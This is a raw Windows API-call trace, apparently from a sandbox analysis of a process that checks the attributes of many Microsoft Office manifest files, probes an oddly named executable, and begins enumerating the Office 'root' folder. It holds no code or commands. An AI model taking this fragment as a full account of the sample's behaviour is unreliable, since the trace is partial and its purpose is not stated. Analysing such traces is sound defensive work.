	[0275.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.045] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21)) returned 1
	[0275.046] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41)) returned 1
	[0275.046] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5)) returned 1
	[0275.089] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.090] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea)) returned 1
	[0275.130] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.178] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.178] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.216] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.216] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1
	[0275.217] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.217] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8)) returned 1
	[0275.218] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.218] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1
	[0275.218] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.219] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa)) returned 1
	[0275.219] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.220] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.220] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.221] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.222] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56)) returned 1
	[0275.222] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.222] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.222] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.222] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f)) returned 1
	[0275.223] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876)) returned 1
	[0275.223] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667)) returned 1
	[0275.223] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175)) returned 1
	[0275.224] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\negotiations g.exe" (normalized: "c:\\program files\\microsoft office\\negotiations g.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75238fd0, ftCreationTime.dwHighDateTime=0x1d58a96, ftLastAccessTime.dwLowDateTime=0xfdc40370, ftLastAccessTime.dwHighDateTime=0x1d5c78f, ftLastWriteTime.dwLowDateTime=0xfdc40370, ftLastWriteTime.dwHighDateTime=0x1d5c78f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0275.263] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0275.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root" (normalized: "c:\\program files\\microsoft office\\root"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0275.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root" (normalized: "c:\\program files\\microsoft office\\root"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.264] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1
